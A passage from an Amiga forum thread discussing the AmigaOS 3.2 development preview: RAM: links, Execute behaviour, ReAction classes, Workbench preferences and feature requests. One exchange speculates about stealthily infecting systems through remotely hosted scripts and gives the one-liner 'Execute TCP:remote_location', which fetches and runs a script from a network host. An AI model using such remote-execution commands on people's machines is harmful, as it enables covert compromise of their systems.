rename sys:myfile sys:myfile2
copy ram:test to ram:test2
delete ram:test ram:test2
type sys:myfile2

The above should in my opinion work just fine without any errors - does it?

Quote
Yes, I'm really sure this is a good idea. I'm really sure that avoiding code duplications is a good idea.
Maybe we have different understanding of "code duplication" - it should be quite possible for two handlers to share code, and still have different functionality - it should be quite possible to have env-handler that uses code share from ram-handler, or at least two devices, ENV: and RAM:, that both use the same ram-handler, yet have different functionality. I really just find the "new type of magic link that only works in RAM:" rather... counter intuitive.  ESPECIALLY so if there is no way to tell apart a link and a directory in RAM: using List.

Quote
Why would it? No, of course not. This is a 3.2 system component.
This is not a "make my modules resident" component. It is a "replace ROM components by RAM components". This has nothing, absolutely nothing to do with LoadModule.

So System-Startup will be in the 3.2 kickstart? I ask, of course, because in the screenshot you load it with LoadModule...
Quote
I know - I never liked it, it clutters the startup-sequence and does zero validation of the "monitor drivers" - I find this messy.
Then don't use it. I have DEVS:Monitors/Startup, and only load those in this directory. But this is not how the standard system was setup, so I left it as it always was.
I don't use it, and by now, I reckon most "power users" have already replaced it with LoadMonDrivers, BindMonitors or similar program.
I would prefer something akin to AddDadatype or AHI's AddAudioModes, that would be capable of more than just "run whatever is there". But that is just me, I get it.

Quote
If someone from outside can execute commands such as EXECUTE on your system, then EXECUTE is your least problem. FORMAT is a problem. COPY is a problem. DELETE is a problem. Actually, the problem is the whole AmigaOs system.
Of course, now tell that to all the Amiga users in the world. The benefit of Execute, is that it can now take a string of commands from the outside, and just do them. FORMAT and DELETE are destructive and will most likely be discovered quickly, COPY is not so useful... but if you trigger someone to regularly execute a script from an online resource, you can be stealthy and really infect a system without the owner even knowing about it.

Quote
Does the new Execute wait for EOF, or does it execute commands after each EOL?
Execute never executed anything to begin with, so this question does not apply if you take it literally. Execute is only an input-redirection of the shell. And no, the shell scripting rules did not change - what for?
Tea spoon mode again? I take your answer to mean that "action is taken" at each EOL, and when conditions (If, EndIf) are solved.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on August 30, 2019, 05:26:01 PM
So does it follow the assign (ie always point at ENVARC:) or does it resolve to whatever ENVARC: is assigned to at the time the link is created?
And if what it points at is a file, or a directory that later is replaced with a file? Will it still just look like a directory?
It follows the usual rules hardlinks follow. A lock is created on the target, and the external link goes to this lock (or rather, a duplicate of it). The RAM will resolve an external object to whatever that object is at the time of the resolution.

Of course - but surely there are better ways to share code between components?
As in using the entire code of RAM twice for two handlers? In which world does that make sense?

You cannot really do this on HappyEnv variants, as they create a dedicated device env:
It will still work exactly like this. RAM:Env is a directory, not a device, but other than that...


So is there _any way_ at all to _see_ after the creation of the link, that is is not a regular directory made with Makedir?
No, there is not.

If not - how do you know if it is a link or a directory?
You don't.

Code: [Select]
echo hah to sys:myfile
makelinke ram:test to sys:myfile force
rename sys:myfile sys:myfile2
copy ram:test to ram:test2
delete ram:test ram:test2
type sys:myfile2
Delete deletes the link, not the source file. In line 3, the reference is whatever the external link points to at the time of access. The link is established as a lock to the object, so the lock remains intact as the file is renamed. With delete, the link goes away, and the copy of its contents, and in the last line, the original file is opened again. It is never touched.

So, all is fine here.
The above should in my opinion work just fine without any errors - does it?
Yup.


Maybe we have different understanding of "code duplication" - it should be quite possible for two handlers to share code, and still have different functionality - it should be quite possible to have env-handler that uses code share from ram-handler, or at least two devices, ENV: and RAM:, that both use the same ram-handler, yet have different functionality. I really just find the "new type of magic link that only works in RAM:" rather... counter intuitive.  ESPECIALLY so if there is no way to tell apart a link and a directory in RAM: using List.
Again the old Kolla. It's your system, I won't stop you to use what you want. I believe it's a good idea not to load the same code twice into the system.

So System-Startup will be in the 3.2 kickstart? I ask, of course, because in the screenshot you load it with LoadModule...
Well, if we get a 3.2 kickstart ROM, which I do not know, it will be in there. If not - not. It's probably going to be the same options as for 3.1.4: Probably a ROM and modules disks. This "related" to the common startup sequence for both. As system-startup is certainly not part of the old ROMs, it need to go on the command line explicitly.


I don't use it, and by now, I reckon most "power users" have already replaced it with LoadMonDrivers, BindMonitors or similar program.
I would prefer something akin to AddDadatype or AHI's AddAudioModes, that would be capable of more than just "run whatever is there". But that is just me, I get it.
What's so different between a binary that loads everything in a directory, and a short command sequence that does the same? After all, there is no magic "hello, I'm a monitor driver" indicator in an executable. It is an executable like any other executable, so "LoadMonDrivers" is just a way of hiding the details - in the end, it cannot do anything different.


Of course, now tell that to all the Amiga users in the world. The benefit of Execute, is that it can now take a string of commands from the outside, and just do them. FORMAT and DELETE are destructive and will most likely be discovered quickly, COPY is not so useful... but if you trigger someone to regularly execute a script from an online resource, you can be stealthy and really infect a system without the owner even knowing about it.
Sorry, I don't get your point. Oh, yes, I do, but that's the old Kolla finding reasons for complaining. In case you didn't know, you can *already* execute a script from a remote location. The syntax looks different. How scary.

Tea spoon mode again? I take your answer to mean that "action is taken" at each EOL, and when conditions (If, EndIf) are solved.
Execute does not resolve "if" or "endif". Really. It doesn't do anything fancy. All it does is stupid argument substitution by a rather simple-minded string substitution, and it does only do that in case there are arguments to substitute. The only *real* function of execute is that it fiddles with "struct CommandLineInterface" and the streams therein. If there wouldn't be argument substitution, execute would be a ten-liner. Maybe less. Execute should really use shell variables for that, but it doesn't. This is exactly what makes execute and the shell syntax so fragile.

The handling of line reading is up to the shell, really. The shell expects lines to be terminated by LF, or it does not execute them. The reason is that ^\ or window close should terminate the input. Immediately. That is an EOF.

Title: Re: Os 3.2 development preview
Post by: kolla on August 30, 2019, 07:53:41 PM
It follows the usual rules hardlinks follow. A lock is created on the target, and the external link goes to this lock (or rather, a duplicate of it). The RAM will resolve an external object to whatever that object is at the time of the resolution.

So the target is locked, and cannot be deleted, only renamed. Similar to as if you make an assign point to a file.

Quote
Of course - but surely there are better ways to share code between components?
As in using the entire code of RAM twice for two handlers? In which world does that make sense?
What would prevent two handlers from sharing code in RAM? Isn't this what Amiga OS is all about?

Quote
So is there _any way_ at all to _see_ after the creation of the link, that is is not a regular directory made with Makedir?
No, there is not.

If not - how do you know if it is a link or a directory?
You don't.

Ambiguity rules, I am all for this - users should not need to know, and I imagine there will be creative ways to ways to exploit this feature.

Quote
What's so different between a binary that loads everything in a directory, and a short command sequence that does the same? After all, there is no magic "hello, I'm a monitor driver" indicator in an executable. It is an executable like any other executable, so "LoadMonDrivers" is just a way of hiding the details - in the end, it cannot do anything different.
Exactly, that's what I'm saying - isn't it lovely how you can throw just about anything into DEVS:Monitors and it will be run on boot?

Quote
Of course, now tell that to all the Amiga users in the world. The benefit of Execute, is that it can now take a string of commands from the outside, and just do them. FORMAT and DELETE are destructive and will most likely be discovered quickly, COPY is not so useful... but if you trigger someone to regularly execute a script from an online resource, you can be stealthy and really infect a system without the owner even knowing about it.
Sorry, I don't get your point. Oh, yes, I do, but that's the old Kolla finding reasons for complaining.

I am not complaining - I see good potential with this, as I say, I look forward to exploring new possibilities.

Quote
In case you didn't know, you can *already* execute a script from a remote location. The syntax looks different. How scary.

In one clear command? Please, do tell :)
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on August 30, 2019, 08:57:20 PM
So the target is locked, and cannot be deleted, only renamed. Similar to as if you make an assign point to a file.
Yes. The target is usually a directory, though, namely SYS:Prefs/ENV-Archive. The lock is created as part of MakeLink. Actually, MakeLink had not even been touched for that.

What would prevent two handlers from sharing code in RAM? Isn't this what Amiga OS is all about?
What prevents you from mounting a second RAM:?


Ambiguity rules, I am all for this - users should not need to know, and I imagine there will be creative ways to ways to exploit this feature.
Yes, like trolling about it.

Quote
In case you didn't know, you can *already* execute a script from a remote location. The syntax looks different. How scary.

In one clear command? Please, do tell :)
You just provided one. "Execute TCP:remote_location". Just without the "<". How scary is that?

Title: Re: Os 3.2 development preview
Post by: HyAmi on August 30, 2019, 09:04:58 PM
Will there be any different hardware requirements for 3.2?
Title: Re: Os 3.2 development preview
Post by: wiser3 on August 30, 2019, 09:23:06 PM
Hm, if the pic shows the real preferences, than it looks like one can add own 'variables/numbers' to the WB screen title, as the 'update' suggests...  ???

I would just use some static text and set the update frequency to "0".
Please have "0" effectively shut the system off and save resources.
Title: Re: Os 3.2 development preview
Post by: kolla on August 30, 2019, 10:41:27 PM
You just provided one. "Execute TCP:remote_location". Just without the "<". How scary is that?

Well, duh - that does not work with ordinary "old" Execute.
Title: Re: Os 3.2 development preview
Post by: Gulliver on August 31, 2019, 01:51:08 AM
Will there be any different hardware requirements for 3.2?

For the moment, 3.2 hardware requirements are much the same as 3.1.4. But this could change with the inclusion of ReAction.

Only time will tell for sure. It is too early to give you a definitve answer on this.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on August 31, 2019, 02:51:49 AM
You just provided one. "Execute TCP:remote_location". Just without the "<". How scary is that?

Well, duh - that does not work with ordinary "old" Execute.
Of course it does. Execute already took a script file as argument.
Title: Re: Os 3.2 development preview
Post by: Matt_H on August 31, 2019, 03:27:36 AM
So I guess my hesitancy/issue/concern about ReAction is that on a 3.5+ system if you boot without a startup-sequence, then none of the system tools/prefs/utilities work because none of the assigns necessary for their ReAction components to function are established by default. Plus there are all those confusing messages about resource.library that don't really point the user in the right direction to set things up manually.

Conversely, on a 3.1 system all you need to do to get into a near-fully functional Workbench (and associated tools) is to establish ENV: and run LoadWB. This makes diagnosing whatever is preventing the system from completing a normal boot much easier.

With the new work being done on ReAction, is there a way to fix this shortcoming so that programs will be able to find requisite classes with little or no user intervention?
Title: Re: Os 3.2 development preview
Post by: Gulliver on August 31, 2019, 03:51:31 AM
@Matt_H

I see your point, but then again it is too early to start worrying about this. We still need to properly test ReAction, class by class, then we need to assemble and SDK for it, and then we will probably see if we start converting and porting programs to it.

So it is a long road ahead. But I am sure we can probably solve this quite easily (and this is my own speculation here), just by installing as default, gadtools based prefs, tools and utilities and ask in the Installer script if the user wants to ReActionize its installation, with all that it implies and if agreed then overwrite existing prefs, tools and utilities with ReAction based counterparts.

In this way you would be able to choose you poison. ;-)
Title: Re: Os 3.2 development preview
Post by: Matt_H on August 31, 2019, 04:14:12 AM
@Matt_H

I see your point, but then again it is too early to start worrying about this. We still need to properly test ReAction, class by class, then we need to assemble and SDK for it, and then we will probably see if we start converting and porting programs to it.
Sure, that makes sense.

Quote
So it is a long road ahead. But I am sure we can probably solve this quite easily (and this is my own speculation here), just by installing as default, gadtools based prefs, tools and utilities and ask in the Installer script if the user wants to ReActionize its installation, with all that it implies and if agreed then overwrite existing prefs, tools and utilities with ReAction based counterparts.

In this way you would be able to choose you poison. ;-)

That would make me happy to be able to choose (I might even want ReAction on one of my higher-spec machines), but then on the developer end you would need to maintain two versions of the code!  :o
Title: Re: Os 3.2 development preview
Post by: Gulliver on August 31, 2019, 04:30:18 AM
That would make me happy to be able to choose (I might even want ReAction on one of my higher-spec machines), but then on the developer end you would need to maintain two versions of the code!  :o

Well, the choice is simple in the transitional OS release between the two GUI Toolkits.

After that, we will surely need to find a comfortable maintenance strategy that either implies dropping support for one GUI Toolkit or creating a common code base upon which we could easily maintain both simultaneously (which is certainly not the easiest path to follow).

But that is a desition that will not be taken anytime soon.
Title: Re: Os 3.2 development preview
Post by: wiser3 on August 31, 2019, 04:20:01 PM
@Matt_H
So it is a long road ahead. But I am sure we can probably solve this quite easily (and this is my own speculation here), just by installing as default, gadtools based prefs, tools and utilities and ask in the Installer script if the user wants to ReActionize its installation, with all that it implies and if agreed then overwrite existing prefs, tools and utilities with ReAction based counterparts.

Having two systems = BLOAT. Not the Amiga way of doing things. Stick with GadTools/BOOPSI.
Title: Re: Os 3.2 development preview
Post by: kolla on August 31, 2019, 04:42:47 PM
Stick with GadTools/BOOPSI.

You still haven't grasped that Reaction is little more than a bundle of BOOPSI classes, and exactly what you say you want?
Title: Re: Os 3.2 development preview
Post by: kolla on August 31, 2019, 05:03:35 PM
Well, the choice is simple in the transitional OS release between the two GUI Toolkits.
Why limit it to two - everyone got preferences, and it should be easy to "plug in" GUIs from any Toolkit.

Quote
After that, we will surely need to find a comfortable maintenance strategy that either implies dropping support for one GUI Toolkit or creating a common code base upon which we could easily maintain both simultaneously (which is certainly not the easiest path to follow).
It could be, if it was implemented differently. Remember Miami? It had ClassAct/Reaction GUI, it had MUI GUI, it had GadTools GUI (gtlayout), and it was also quite possible to run it without any GUI. The way to do this is to abstract the GUI away from the actual functionality of the program, and instead create clean and simple to use APIs that GUI writers can use to make a GUI using whatever toolkit they wish.
Title: Re: Os 3.2 development preview
Post by: Matt_H on August 31, 2019, 06:21:49 PM
Stick with GadTools/BOOPSI.

You still haven't grasped that Reaction is little more than a bundle of BOOPSI classes, and exactly what you say you want?

I'm learning that for the first time in this thread, but I think there is still a bit of a difference between bundling classes with the OS to make them available for developers/users of other applications, and switching over the system utilities to require them (if the concern I raised in a previous post can't be addressed).

But it seems like the team is aware of the complexity of the situation, so I'm glad they're giving it some thought.
Title: Re: Os 3.2 development preview
Post by: TribbleSmasher on August 31, 2019, 06:26:04 PM
I think the GUI should be usable with ROM-only toolkits. Prefs can always be made later with Reaction/MUI/Feelin or else, as long as informations on the filetypes used are provided. It is IFF after all, and interchangability requires knowledge of the format, obviously.
Title: Re: Os 3.2 development preview
Post by: kamelito on August 31, 2019, 09:07:09 PM
Are you following the directions taken by CBM for the OS? any performances improvements in the pipe? I guess that since the 89/90 better algorithms exist that can be applied a bit like what you’ve done with intuition but I think also about gfx lib and exec.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on August 31, 2019, 11:05:11 PM
Are you following the directions taken by CBM for the OS?
Had CBM directions? There were probably multiple plans by multiple persons.... RTG was a plan, but it didn't went quite far. Instead, external developments became popular. Will any of that go into the kickstart? I don't know, but not too soon because that is a lot of work.

any performances improvements in the pipe?
Not much. Dos buffered I/O should have improved a lot (FRead,FWrite), and it is used by the icon.library, so there are possibly some performance improvements in that respect. Whether it is measurable i do not know. Dos is the next dragon I'm slaying (after graphics), refactoring System-Startup out of dos was one of the results, also writing shells became simpler (we had like 3 methods how a shell could be launched before, see "shell internals" on aminet. It's down to one now).


I guess that since the 89/90 better algorithms exist that can be applied a bit like what you’ve done with intuition but I think also about gfx lib and exec.
Exec doesn't have much. There are memory pools that could benefit from improvement. Unfortunately, there are programs that expect exactly the layout they have today, so no chance. There could be a memory scratch list for small allocations, but as graphics became smarter, memory fragmentation lowered as well, so the problem is not as high as it used to be. There is nothing major for graphics in the pipeline. Maybe some improvements are coming for intuition, but this is still too early to say what else goes into it. The problem is that we cannot really make too much dependent on intuition as CGfx is entangled with intuition V40 in an unfortunate way.


Title: Re: Os 3.2 development preview
Post by: Thomas Richter on August 31, 2019, 11:06:35 PM
Having two systems = BLOAT. Not the Amiga way of doing things. Stick with GadTools/BOOPSI.
All of this is open at this point, really. There is no hidden agenda. We will see how we move along, and decide on the man power available.
Title: Re: Os 3.2 development preview
Post by: kolla on September 01, 2019, 05:08:21 AM
I think the GUI should be usable with ROM-only toolkits.
If content of SYS:Classes was moved to SYS:Libs, I bet you wouldn't even know...
Title: Re: Os 3.2 development preview
Post by: bubbob42 on September 01, 2019, 07:43:12 AM
Hm, if the pic shows the real preferences, than it looks like one can add own 'variables/numbers' to the WB screen title, as the 'update' suggests...  ???

I would just use some static text and set the update frequency to "0".
Please have "0" effectively shut the system off and save resources.

That’s a good suggestion; I‘ll consider it. Note that you‘ll lose display of available memory, if you activate such an option. It‘ll also become a challenge regarding the WorkbenchPrefs, since I‘ll have to make it very clear for the user that any wildcards embedded in the current custom Workbench title will cease working, then. D‘oh.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on September 01, 2019, 07:51:04 AM
I would just use some static text and set the update frequency to "0".
Please have "0" effectively shut the system off and save resources.

That’s a good suggestion; I‘ll consider it. Note that you‘ll lose display of available memory, if you activate such an option. It‘ll also become a challenge regarding the WorkbenchPrefs, since I‘ll have to make it very clear for the user that any wildcards embedded in the current custom Workbench title will cease working, then. D‘oh.
That doesn't really save much. The workbench title update is part of the same logic that regularly polls the drives for disk changes, by default every 5 seconds. The title update is traditionally made along with the drive update, and the title update is quite minor compared to the latter.
Title: Re: Os 3.2 development preview
Post by: bubbob42 on September 01, 2019, 08:15:31 AM
True, but the title parser has become quite large in the meantime. That’s why I’m moving „once per boot“-stuff like version wildcards into workbench‘s initialisation code right now. The title parser was originally written with PPCs in mind, not 7MHz 68k.
Title: Re: Os 3.2 development preview
Post by: kamelito on September 01, 2019, 09:22:50 AM
@Thomas Richter
I din’t Think it is a good idea to have intuition limitated b/c CGX is not evolving anymore. CGX users should use an old intuition and P96 should move forward. I guess you do not have time to see how CGX work to feed it with what it  expect to make it work. Any pointers so someone else can have a look?
Title: Re: Os 3.2 development preview
Post by: bubbob42 on September 01, 2019, 10:04:58 AM
silently pressing the hotkey with the label “ask Frank Mariak”   ;)
Title: Re: Os 3.2 development preview
Post by: kamelito on September 01, 2019, 10:55:29 AM
I think it was stated in another thread by Gulliver that Frank will not help.
Title: Re: Os 3.2 development preview
Post by: bubbob42 on September 01, 2019, 12:05:11 PM
I think it was stated in another thread by Gulliver that Frank will not help.

Maybe he will if enough CGX users would ask him politely.
Title: Re: Os 3.2 development preview
Post by: TribbleSmasher on September 01, 2019, 03:13:10 PM
True, but the title parser has become quite large in the meantime. That’s why I’m moving „once per boot“-stuff like version wildcards into workbench‘s initialisation code right now. The title parser was originally written with PPCs in mind, not 7MHz 68k.

It is not a simple formatstring (%a,%b,%c) kindof thing?
Title: Re: Os 3.2 development preview
Post by: bubbob42 on September 01, 2019, 03:24:49 PM
It is not a simple formatstring (%a,%b,%c) kindof thing?

It is, but if you find/calculate values for e.g. %c each time the title is being updated, you may lose quite a lot of cycles on slow machines. And some values are simply static/per boot, like "%r"  = revision information string.
Title: Re: Os 3.2 development preview
Post by: TribbleSmasher on September 01, 2019, 03:29:32 PM
I see. How much space is left in the ROM if any, after all those improvements?


Btw, what about that DDoS on Frank Mariak, whois in?  (just kidding, of course);)
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on September 01, 2019, 04:15:23 PM
I see. How much space is left in the ROM if any, after all those improvements?
For the 4000T, there is approximately 8K  left. The A4000T is about the tightest ROM. In worst case, we can remove some components that are not essential for booting (audio, mathieeesingbas and mathffp are non-essential).
Title: Re: Os 3.2 development preview
Post by: gdonner on September 01, 2019, 07:09:42 PM
Quote
Suggestion: can we get these Commodore BOOPSI classes to become part of the official OS distribution?

FWIW, the "BOOPSI/GI1/Classes/images/led.image" in that archive is clearly misnamed. The gadget is actually an "LCD" component.

Someone at Commodore apparently couldn't tell the difference between a https://en.wikipedia.org/wiki/Light-emitting_diode (https://en.wikipedia.org/wiki/Light-emitting_diode) and a https://en.wikipedia.org/wiki/Liquid-crystal_display (https://en.wikipedia.org/wiki/Liquid-crystal_display). :)

The only AmigaOS "LED" gadget I'm aware of is the disk activity indicator in the ASL file requester.

Quote
Another feature request: an official prefs editor for the WB Tools menu whose settings can be read by workbench.library/LoadWB directly (so that an additional tool in WBStartup isn't necessary).

This would be very nice--or at least adding OS-legal support for separator bars, keyboard shortcuts, etc. That way, ToolsDeamon would no longer be needed (esp. as it's rather buggy, even after the 2.2 patch).

The author of ToolsMenu, Kim Fastrup Larsen, might be open to adding such features to this already handy utility.
Title: Re: Os 3.2 development preview
Post by: TribbleSmasher on September 01, 2019, 07:42:13 PM
What i meant was it should be possible to run the normal Prefs, Tools, Utilities from a really basic level of startup, like the initial CLI. If you beefup your installation to a high-res RTG Workbench, of course you also want nice GUIs everywhere.
But sometimes it is welcomed to just have a simple GUI without throwing Assigns around and install libraries to every tools disk you have.
I only mentioned this because Thor is known to be a great fan of getting rid of the ROM altogether. ;D
I think the GUI should be usable with ROM-only toolkits.
If content of SYS:Classes was moved to SYS:Libs, I bet you wouldn't even know...
Title: Re: Os 3.2 development preview
Post by: kolla on September 01, 2019, 07:55:06 PM
The Workbench menus can be configured dynamically via arexx, there is no "configuration" of them.
Title: Re: Os 3.2 development preview
Post by: kolla on September 01, 2019, 08:14:19 PM
@TribbleSmasher
Right, so all this could be fixed by simply adding SYS:Classes to the LIBS: assign from the kickstart. Yet another thing for systemd^wSystem-Startup to take care of...

(Well, ideally I'd like assigns set up like they are in MorphOS)
Title: Re: Os 3.2 development preview
Post by: Minuous on September 01, 2019, 08:21:48 PM
FWIW, the "BOOPSI/GI1/Classes/images/led.image" in that archive is clearly misnamed. The gadget is actually an "LCD" component.

Not really, it is a seven-segment display component. Such displays can be implemented via LED, LCD, or other technologies.
Title: Re: Os 3.2 development preview
Post by: wiser3 on September 01, 2019, 11:47:57 PM
I would just use some static text and set the update frequency to "0".
Please have "0" effectively shut the system off and save resources.
That’s a good suggestion; I‘ll consider it. Note that you‘ll lose display of available memory, if you activate such an option.

You guys are all developers, which we need, but you also have to think like a regular user that's just trying to run a WHDLoad game or play some music.
A regular user doesn't care how many bytes of RAM are available or what version something is.
Title: Re: Os 3.2 development preview
Post by: wiser3 on September 02, 2019, 12:03:45 AM
Feature suggestion:
Again, i'm trying to see things from a regular users perspective.

Update CPU command to recognize the Vampire 68080.
Have OS installer give user option to install any needed 030, 040, 060,  MMU library or recommend they install the one that came with their accelerator card.

The average user isn't going to understand what CPU errrata is or what to do about it.
If you don't have the rights to any appropriate libraries anything you can do to help users understand is helpful.
Title: Re: Os 3.2 development preview
Post by: Minuous on September 02, 2019, 01:27:31 AM
Quote
A regular user doesn't care how many bytes of RAM are available

It is important information for all users, which is why it has been shown on the titlebar since OS1.x.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on September 02, 2019, 07:32:52 PM
Quote
A regular user doesn't care how many bytes of RAM are available

It is important information for all users, which is why it has been shown on the titlebar since OS1.x.
It is traditional, but frankly, it was more important at the times the Amiga was introduced than it is now. RAM was extremely expensive, the machine had little, and it was important to watch free memory. This is less important today.
Title: Re: Os 3.2 development preview
Post by: TribbleSmasher on September 02, 2019, 07:34:50 PM
Will there be an integrated virtual memory solution someday?
Title: Re: Os 3.2 development preview
Post by: SamuraiCrow on September 03, 2019, 01:20:15 AM
Will there be an integrated virtual memory solution someday?
Memory.library comes with MMULib (http://aminet.net/package/util/libs/MMULib) and is already written.
Title: Re: Os 3.2 development preview
Post by: my_pc_is_amiga on September 03, 2019, 06:31:54 AM
Seeing that there will be Workbench screen title bar customization, is there any small changes that could be done to the Drawer window title bar as well?

For example, instead of "Commodities" in title bar, maybe could add "Commodities in Workbench:"   This has always been a limitation when I'm trying to browse and I may have 2 drawer windows open with same name from different volumes and can't tell which is which.   Full path would be ideal but maybe too much text...
Title: Re: Os 3.2 development preview
Post by: gdonner on September 03, 2019, 07:33:20 PM
Quote
Not really, it is a seven-segment display component. Such displays can be implemented via LED, LCD, or other technologies.

Technically correct, but in the context of Commodore's "LED" gadget, they are combined into an LCD panel and (AFAIK) intended for easy plugin coding for CD audio players, etc.

Anyway... lol Not a big deal as long as a true standalone light-emitting diode gadget isn't needed in BOOPSI (which sort of already exists via the ASL file requester).
Title: Re: Os 3.2 development preview
Post by: paul1981 on September 04, 2019, 06:22:10 PM
Can you give the LoadWB command a NOWBSTARTUP option? Because, this would make it easier to disable all the WBStartup programs together for debugging boot issues or testing software etc. Currently I have a drawer inside WBStartup that I move them all into and then back out of again when I want them back. I do realise that I could simply rename or move the WBStartup drawer instead, but it is a system drawer and it doesn't seem quite right to do this.
Title: Re: Os 3.2 development preview
Post by: nbache on September 04, 2019, 07:05:11 PM
@paul1981:

Quote
Can you give the LoadWB command a NOWBSTARTUP option?
In OS4, for comparison, this is achieved by holding down a Shift or an Alt key during startup. Maybe something similar could be done in 3.2? (To make life that bit easier for anyone using both ;-))

Best regards,

Niels
Title: Re: Os 3.2 development preview
Post by: kamelito on September 04, 2019, 08:54:20 PM
@Thomas Richter
In the Amiga Devcon 1993 in Denver there’s a topic about writing OS friendly games.

“ Things the OS can't currently do
- Scroll individual scanlines of a ViewPort
- AA color copperlist fades
- Dynamically update user copper lists.

All these are planned to be addressed in future OS releases. One of our goals is to make it possible to perform as many Amiga tricks in normal Intuition screens as is possible. “

So my question is : will this planned features have a chance to be implemented in future versions of the OS?
Title: Re: Os 3.2 development preview
Post by: kamelito on September 04, 2019, 09:19:23 PM
@Thomas Richter
If you read the 1993 Devcon there is a topic about future directions, not only about AAA but also :
-Amiga User Interface Directions
-Upcoming Amiga User Interface Developments
-RTG
-Retargetabe Graphics Specification
Title: Re: Os 3.2 development preview
Post by: Matt_H on September 05, 2019, 02:45:56 AM
@paul1981:

Quote
Can you give the LoadWB command a NOWBSTARTUP option?
In OS4, for comparison, this is achieved by holding down a Shift or an Alt key during startup. Maybe something similar could be done in 3.2? (To make life that bit easier for anyone using both ;-))

Best regards,

Niels

3.9+ (3.5+?) has the SKIP aka SKIPWBSTARTUP switch. Should be easy for the dev team to add that back in.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on September 05, 2019, 06:35:36 AM
“ Things the OS can't currently do
- Scroll individual scanlines of a ViewPort
- AA color copperlist fades
- Dynamically update user copper lists.

All these are planned to be addressed in future OS releases. One of our goals is to make it possible to perform as many Amiga tricks in normal Intuition screens as is possible. “

So my question is : will this planned features have a chance to be implemented in future versions of the OS?
Likely not. I do not even know what this should mean (what is a "copperlist fade"? What is a dynamically updated copperlist? UCopperListInit and friends exist already, so you can certainly update them) Essentially, the way how the graphics.library code looks, it is more at the end of its lifetime, and we should really replace that by something different and more "cleaned up".

For 3.2, no major works on graphics are planned, except a better integration of AllocBitMap() into the P96 model that doesn't change a thing for native graphics. I believe this is about it.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on September 05, 2019, 06:42:11 AM
@Thomas Richter
If you read the 1993 Devcon there is a topic about future directions, not only about AAA but also :
-Amiga User Interface Directions
-Upcoming Amiga User Interface Developments
-RTG
-Retargetabe Graphics Specification
See above. As far as the user interface is concerned, we will have reaction classes. Whether there will be reaction versions of the system tools is yet to see. The major change for the user interface will be the option to add an iconification gadget to the UI upon request.

To implement another RTG system or couple this more tightly to the Os does not make much sense at this point. We have P96 which is still being updated, but also Cybergraphics which is, even though it is now in "rotting stage" (i.e. out of maintenance), still in use, so we cannot really force anyone into one particular RTG universe. About the only change concerning RTG that affected the Os (graphics and intuition) is a new set of flags for AllocBitMap() to be able to allocate a bitmap on graphics card memory. These flags are "properly ignored" by the Os (even in 3.1), but generated by intuition to avoid one bad hack for OpenScreen() in the P96 implementation of AllocBitMap().

Title: Re: Os 3.2 development preview
Post by: kolla on September 05, 2019, 02:24:42 PM
Whatever classes that are incorporated into the OS, the entire mess that is SYS:Prefs and {envarc,env}:sys/#?.prefs should be tidied up, though it would most certainly imply compatibility issues. Anything resembling "Reaction Prefs" should be avoided, instead this should be merged with Fonts prefs and just be one "Appearance Prefs" or similar. I have earlier written that wbpattern should be merged with workbench prefs, and there should be a "public screen manager" to deal with setting up screens, their properties (including backgrounds), screen modes etc. including that of the Workbench screen. And ideally, it should be easy to import/export prefs from some text file format... perhaps an ARexx port for IPrefs.

One can dream...
Title: Re: Os 3.2 development preview
Post by: Minuous on September 05, 2019, 04:35:26 PM
And ideally, it should be easy to import/export prefs from some text file format...

I don't think there is any situation where this would actually be useful; you can already use a tool like Report+ to examine preference files in a user-friendly way if necessary.

Quote
Anything resembling "Reaction Prefs" should be avoided, instead this should be merged with Fonts prefs and just be one "Appearance Prefs" or similar.

Fonts and ReAction are not especially related. Most preferences editors could be construed as having something to do with appearance.
Title: Re: Os 3.2 development preview
Post by: kolla on September 06, 2019, 07:56:04 AM
And ideally, it should be easy to import/export prefs from some text file format...

I don't think there is any situation where this would actually be useful; you can already use a tool like Report+ to examine preference files in a user-friendly way if necessary.

Really - well, I do - a lot, and I am not alone - this is why there is a Prefs/Presets directory. It is exactly for this, but it requires that one "pre-make" all the preference files and load them with the associated prefs program. I wish for a more dynamic method to load new prefs, with specific parameters, from scripts, from arexx etc.

Quote
Quote
Anything resembling "Reaction Prefs" should be avoided, instead this should be merged with Fonts prefs and just be one "Appearance Prefs" or similar.

Fonts and ReAction are not especially related.
Exactly, and that is "the mess". There is Font prefs and there is Palette prefs, yet the Reaction prefs have both Font and Palette settings that only are valid for Reaction classes - why should a user know what classes are reaction and what classes are not? With Reaction classes being incorporated into the OS, this should all be unified.

Quote
Most preferences editors could be construed as having something to do with appearance.

Not really, from the OS itself there is just Font, Palette, and arguably Pointer prefs. WBPattern and Workbench are prefs for the program "Workbench" - though WBPattern is a little too much, also doing the screen backdrop of the "Workbench" screen, which strictly speaking has little to do with workbench.library) - WBPattern and Workbench prefs should be merged. Screenmode and Overscan should easily be merged, and I would prefer something more advanced, akin to MUI PSI to manage public screens and their properties in general.
Title: Re: Os 3.2 development preview
Post by: paul1981 on September 06, 2019, 08:23:54 PM
@kolla
Presets can already be loaded via scripts. Can you explain the need for more control from the command line? I've always liked the way AmigaOS handles prefs and I like the env/envarchive 'thing' which I think is rather elegant and efficient. Also, why would I want other software to be mucking around with my preferences? Any software mucking around with my preferences gets deleted!

@Matt_H
I didn't know about the SKIPWBSTARTUP feature in 3.5 and 3.9. I wonder why they called it SKIP instead of NO though.
Title: Re: Os 3.2 development preview
Post by: paul1981 on September 06, 2019, 09:15:36 PM
Seeing that there will be Workbench screen title bar customization, is there any small changes that could be done to the Drawer window title bar as well?

For example, instead of "Commodities" in title bar, maybe could add "Commodities in Workbench:"   This has always been a limitation when I'm trying to browse and I may have 2 drawer windows open with same name from different volumes and can't tell which is which.   Full path would be ideal but maybe too much text...

Not exactly what you've asked for, but have you tried DepthMenu with the Workbench module installed? This really helps with window and screen navigation to the point where you can't imagine your Amiga without it.

http://aminet.net/package/util/cdity/DepthMenu (http://aminet.net/package/util/cdity/DepthMenu)
http://aminet.net/package/util/cdity/DM_Workbench (http://aminet.net/package/util/cdity/DM_Workbench)

It's so good I believe this should be part of the OS, or at least everyone should install it.

There's more modules and this one is of interest:
